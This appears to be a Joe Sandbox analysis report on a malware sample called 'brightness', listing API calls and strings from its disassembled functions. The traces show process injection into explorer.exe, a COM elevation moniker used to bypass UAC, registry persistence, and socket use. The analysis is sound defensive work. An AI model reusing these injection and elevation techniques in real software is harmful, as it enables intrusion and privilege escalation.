Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CreateEventclosesocketshutdownsocket
String ID:
API String ID: 3702629066-0
Opcode ID: b06fabd25630a4bbbd1cd635112b84fdb45d9ef68a698e1010beed92893e3502
Instruction ID: fc8bb468e27b87fc2787fac5ad5d8ab9bdab9f5198ebcbdbf70c2cfc41e83a42
Opcode Fuzzy Hash: b06fabd25630a4bbbd1cd635112b84fdb45d9ef68a698e1010beed92893e3502
Instruction Fuzzy Hash: 26F19E74D50249EFDF24CFA1D9C8AEEB7B5BF48300F608599E50AA7280C7B49A91DF10

Function 002C1C80 Relevance: 56.2, APIs: 17, Strings: 15, Instructions: 219libraryloadermemoryCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,{0277BEDC-839F-4568-B7FD-94E1324E5204}), ref: 002C1CA2
_memset.LIBCMT ref: 002C1CCC
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 002C1CE0
_memset.LIBCMT ref: 002C1D05
__snwprintf.LIBCMT ref: 002C1D2F

Part of subcall function 002CA1B0: GetCurrentProcess.KERNEL32 ref: 002CA1B9
Part of subcall function 002CA1B0: _memset.LIBCMT ref: 002CA1CA
Part of subcall function 002CA1B0: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,002C2000), ref: 002CA21B
Part of subcall function 002CA1B0: NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 002CA251
Part of subcall function 002CA1B0: NtMapViewOfSection.NTDLL(00000000,00000000), ref: 002CA290
Part of subcall function 002CA1B0: _memmove.LIBCMT ref: 002CA2AF

__snwprintf.LIBCMT ref: 002C1D51
_memset.LIBCMT ref: 002C1D70
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 002C1D84
LocalAlloc.KERNEL32(00000040,00000DF0), ref: 002C1DA3
GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 002C1DD9
GetProcAddress.KERNEL32(?,GetProcAddress), ref: 002C1DF3
WaitForSingleObject.KERNEL32(00000000,00001388), ref: 002C1F78
TerminateProcess.KERNEL32(00000000,00000000), ref: 002C1FA9
CloseHandle.KERNEL32(00000000), ref: 002C1FB6
CloseHandle.KERNEL32(?), ref: 002C1FC3
LocalFree.KERNEL32(00000000), ref: 002C1FD9
CloseHandle.KERNEL32(00000000), ref: 002C1FE9

Strings

KERNEL32.DLL, xrefs: 002C1DBC
GetProcAddress, xrefs: 002C1DE7
%s\explorer.exe, xrefs: 002C1D40
OLE32.DLL, xrefs: 002C1E1A
KERNEL32.DLL, xrefs: 002C1E02
CoInitialize, xrefs: 002C1E90
Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 002C1EEC
ExitProcess, xrefs: 002C1EC0
IIDFromString, xrefs: 002C1EA8
{6EDD6D74-C007-4E75-B76A-E5740995E24C}, xrefs: 002C1ED7
CoGetObject, xrefs: 002C1E79
{2BFEF461-4650-4377-A284-2C0E2F67E458}, xrefs: 002C1E48
LoadLibraryW, xrefs: 002C1DCD
{0277BEDC-839F-4568-B7FD-94E1324E5204}, xrefs: 002C1C97
%s\SysWOW64\explorer.exe, xrefs: 002C1D1E

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: _memset$CloseCreateHandleProcess$AddressCurrentDirectoryLocalProcSection__snwprintf$AllocEventFreeObjectSingleTerminateViewWaitWindows_memmove
String ID: %s\SysWOW64\explorer.exe$%s\explorer.exe$CoGetObject$CoInitialize$Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}$ExitProcess$GetProcAddress$IIDFromString$KERNEL32.DLL$KERNEL32.DLL$LoadLibraryW$OLE32.DLL${0277BEDC-839F-4568-B7FD-94E1324E5204}${2BFEF461-4650-4377-A284-2C0E2F67E458}${6EDD6D74-C007-4E75-B76A-E5740995E24C}
API String ID: 3368678430-1830388110
Opcode ID: 7f7e46e5211efe278169086cb670d9ec6f7e7831b53973b73edb335316fc1ff2
Instruction ID: 567110479a10e6ab64b970aa92b68434236aa43d66706172312d4626e736a645
Opcode Fuzzy Hash: 7f7e46e5211efe278169086cb670d9ec6f7e7831b53973b73edb335316fc1ff2
Instruction Fuzzy Hash: 7281C670951318AFE720EF60CC89FE9B776AF89704F0045D8F509A7281DBB59AA4CF54

Function 002C75B0 Relevance: 51.0, APIs: 21, Strings: 8, Instructions: 285registryfileCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002C7603
StrStrIW.SHLWAPI(00000000,.DLL), ref: 002C7813
DeleteFileW.KERNEL32(00000000), ref: 002C783A
LocalFree.KERNEL32(00000000), ref: 002C785B
LocalFree.KERNEL32(00000000), ref: 002C7868
__snwprintf.LIBCMT ref: 002C789D
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 002C78B8

Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B,002D6B10,00000000), ref: 002C81EB
Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B), ref: 002C8205
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8235
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8251
Part of subcall function 002C81C0: LocalFree.KERNEL32(00000000), ref: 002C8A43

StrStrIW.SHLWAPI(00000000,.DLL), ref: 002C7910
DeleteFileW.KERNEL32(00000000), ref: 002C7937
LocalFree.KERNEL32(00000000), ref: 002C7958
LocalFree.KERNEL32(00000000), ref: 002C7965
StrStrIW.SHLWAPI(00000000,.DLL), ref: 002C799A
_memset.LIBCMT ref: 002C79D5
__snwprintf.LIBCMT ref: 002C79F3
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,000F013F,?), ref: 002C7A15
RegDeleteValueW.ADVAPI32(?,00000000), ref: 002C7A2D
RegCloseKey.ADVAPI32(?), ref: 002C7A4D
LocalFree.KERNEL32(00000000), ref: 002C7A5A
LocalFree.KERNEL32(00000000), ref: 002C7A67
shutdown.WS2_32(?,00000002), ref: 002C7AA0
closesocket.WS2_32(?), ref: 002C7AAA

Part of subcall function 002E0CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E0CED

Part of subcall function 002E0950: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E096D

Strings

SOFTWARE\%s, xrefs: 002C788C
, xrefs: 002C778E
.DLL, xrefs: 002C7807
#, xrefs: 002C7798
.DLL, xrefs: 002C7904
SOFTWARE\%s, xrefs: 002C79E2
.DLL, xrefs: 002C798E
{E6A92BD6-A819-489E-9C8C-330F9E40F59F}, xrefs: 002C7887, 002C79DD

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Delete$AllocFileInfoLocale___crt__snwprintfwnsprintf$CloseOpenValue_memsetclosesocketsetsockoptshutdown
String ID: $#$.DLL$.DLL$.DLL$SOFTWARE\%s$SOFTWARE\%s${E6A92BD6-A819-489E-9C8C-330F9E40F59F}
API String ID: 421061684-93202248
Opcode ID: 1029b8093e9067d303f51a877383c73e11af4d067a3c6b16ef26992ef8edce87
Instruction ID: 77984c32ecaa7ccae73ff46952a669ef2d2caf8822aa00bad0dacc3716080b23
Opcode Fuzzy Hash: 1029b8093e9067d303f51a877383c73e11af4d067a3c6b16ef26992ef8edce87
Instruction Fuzzy Hash: F6D128B1D102199FEB24DF54CC88BEDB7B8BB44304F10C6D9E649A7281DBB55A84DF90

Function 002CBE80 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 219memoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002CBF0A
SetEvent.KERNEL32(00000000), ref: 002CBF5C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CBF90
wnsprintfW.SHLWAPI ref: 002CBFC6
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 002CC019
SetEvent.KERNEL32(00000000), ref: 002CC035
CloseHandle.KERNEL32(00000000), ref: 002CC042

Part of subcall function 002C1C80: CreateEventW.KERNEL32(00000000,00000001,00000000,{0277BEDC-839F-4568-B7FD-94E1324E5204}), ref: 002C1CA2
Part of subcall function 002C1C80: _memset.LIBCMT ref: 002C1CCC
Part of subcall function 002C1C80: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 002C1CE0
Part of subcall function 002C1C80: _memset.LIBCMT ref: 002C1D05
Part of subcall function 002C1C80: __snwprintf.LIBCMT ref: 002C1D2F
Part of subcall function 002C1C80: _memset.LIBCMT ref: 002C1D70
Part of subcall function 002C1C80: GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 002C1D84
Part of subcall function 002C1C80: LocalAlloc.KERNEL32(00000040,00000DF0), ref: 002C1DA3
Part of subcall function 002C1C80: GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 002C1DD9
Part of subcall function 002C1C80: GetProcAddress.KERNEL32(?,GetProcAddress), ref: 002C1DF3

LocalFree.KERNEL32(00000000), ref: 002CC04F
LocalFree.KERNEL32(00000000), ref: 002CC05C
shutdown.WS2_32(?,00000002), ref: 002CC068
closesocket.WS2_32(?), ref: 002CC072

Strings

"%s%s" %s, xrefs: 002CC0DC
{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}, xrefs: 002CC0CB
{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 002CC00D, 002CC149
%s%s, xrefs: 002CBFB5
D, xrefs: 002CC107

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: EventLocal$_memset$AddressAllocDirectoryFreeProc$CloseCreateCurrentHandleOpenWindows__snwprintfclosesocketsetsockoptshutdownwnsprintf
String ID: "%s%s" %s$%s%s$D${411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 3780020975-3802359936
Opcode ID: a58270248a8512fd3ac12c2a1f658eb62d689baabbad3ad78270310983175ffa
Instruction ID: a824d7012b33fe6095461985195b795f460d929a54e98e2c3aa53f317d466961
Opcode Fuzzy Hash: a58270248a8512fd3ac12c2a1f658eb62d689baabbad3ad78270310983175ffa
Instruction Fuzzy Hash: 809160B5910218EFDB25DFA4DC89FADB778BF48701F104198F209A7291DBB49A94CF11

Function 002C7AC0 Relevance: 47.7, APIs: 25, Strings: 2, Instructions: 403registrymemoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002C7B13
_memset.LIBCMT ref: 002C7BA4
__snwprintf.LIBCMT ref: 002C7BC2
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,00000000,00000000), ref: 002C7BEC
LocalAlloc.KERNEL32(00000040,?), ref: 002C7C80
RegCloseKey.ADVAPI32(00000000), ref: 002C8096
LocalFree.KERNEL32(00000000), ref: 002C80AC
LocalFree.KERNEL32(00000000), ref: 002C80C2
LocalFree.KERNEL32(00000000), ref: 002C80D8
shutdown.WS2_32(?,00000002), ref: 002C80F7
closesocket.WS2_32(?), ref: 002C8101

Part of subcall function 002E0CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E0CED

Part of subcall function 002E0950: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E096D

Strings

SOFTWARE\%s, xrefs: 002C7BB1
{E6A92BD6-A819-489E-9C8C-330F9E40F59F}, xrefs: 002C7BAC

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$InfoLocale___crt$AllocCloseCreate__snwprintf_memsetclosesocketsetsockoptshutdown
String ID: SOFTWARE\%s${E6A92BD6-A819-489E-9C8C-330F9E40F59F}
API String ID: 1227969885-348793614
